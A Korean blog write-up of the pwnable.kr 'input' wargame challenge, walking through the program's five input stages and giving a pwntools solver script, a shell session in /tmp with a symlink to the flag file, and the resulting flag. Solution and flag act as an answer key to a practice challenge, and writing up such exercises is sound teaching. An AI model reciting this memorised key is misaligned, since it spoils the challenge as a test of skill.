반응형

input - 4 pt

Mom? how can I pass my input to a computer program?


ssh input2@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고 소스를 확인합니다.


input2@ubuntu:~$ ls -l

total 24

-r--r----- 1 input2_pwn root      55 Jun 30  2014 flag

-r-sr-x--- 1 input2_pwn input2 13250 Jun 30  2014 input

-rw-r--r-- 1 root       root    1754 Jun 30  2014 input.c

input2@ubuntu:~$ cat input.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>


int main(int argc, char* argv[], char* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");


// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");

// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


// here's your flag

system("/bin/cat flag");

return 0;

}




코드가 상당히 기네요.. 차근차근 살펴봅시다.

전체적으로 보았을때 Stage 1 부터 5까지 모두 통과해야 플래그를 얻을 수 있는 것 같습니다.



그럼 먼저 Stage1을 통과하기위한 조건을 봅시다.


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



1. 인자의 개수 = 100개

2. argv['A'] = \x00

3. argv['B'] = \x20\x0a\x0d


이면 스테이지 1이 클리어가 되네요.




// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");


Stage2입니다.


pwnable.kr의 fd문제에서 read함수의 fd값을 공부했던적이 있었습니다.

stdin으로 \x00\x0a\x00\xff 입력을 주고 sterr로 \x00\x0a\x02\xff을 주어야 클리어할 수 있습니다.




// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


stage 3 입니다.


환경변수네요. \xde\xad\xbe\xef 라는 환경변수에 \xca\xfe\xba\xbe 값을 넣어주면 됩니다.




// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


stage 4 입니다.


\x0a라는 파일을 열고, 읽어온 첫 4바이트가 \x00\x00\x00\x00 이어야 클리어네요.




// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

     return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


stage5 입니다.

atoi(argv['C']) = argv['C']의 정수형으로 변환한 값을 포트번호로 소켓서버를 열고

\xde\xad\xbe\xef 을 보내주면 stage5가 클리어 된다.





그럼 익스플로잇을 작성하겠습니다.


http://gmltnscv.tistory.com/27 이 분의 익스플로잇 코드를 참고했습니다...


Python으로 작성하였고, Pwntools를 사용했습니당.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
#stage1
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
#stage2
with open('./stderr''a') as f:
    f.write('\x00\x0a\x02\xff')
#stage3
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
#stage4
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
#stage5 
argvs[ord('C')] = '40000'
 
#인자전달, stderr 파일 열기, 환경변수 설정등
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal)
 
#stage2의 stdin
target.sendline('\x00\x0a\x00\xff')
 
#다시 stage5, 포트가 argv['C']와 일치해야겠죠?
conn = remote('localhost'40000)
conn.send('\xde\xad\xbe\xef')
target.interactive()  
cs


그런데 이 코드를 현재 디렉토리에서는 작성할수가 없습니다. 권한이 없기 때문...

그래서 권한이 있는 /tmp를 이용해야 한다고 합니다!

/tmp에 코드를 작성하고 실행해보겠습니다.


input2@ubuntu:~$ cd /tmp

input2@ubuntu:/tmp$ mkdir m4ndu

input2@ubuntu:/tmp$ cd m4ndu

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

[*] Process '/home/input2/input' stopped with exit code 0

[*] Got EOF while reading in interactive

$


엇 플래그가 뜨지 않습니다.. 플래그 파일이 현재 경로에 없기 때문이죠..

그렇다고 플래그 파일을 복사해 올 수도 없습니다.

그래서 심볼릭 링크를 걸어주고 다시 실행하면 됩니당


input2@ubuntu:/tmp/m4ndu$ ln -s /home/input2/flag flag

input2@ubuntu:/tmp/m4ndu$ ls

flag

input2@ubuntu:/tmp/m4ndu$ vi exex.py


[2]+  Stopped                 vi exex.py

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py 

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

Mommy! I learned how to pass various input in Linux :)

[*] Got EOF while reading in interactive

$  


flag를 얻었습니다!!
FLAG : Mommy! I learned how to pass various input in Linux :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26

+ Recent posts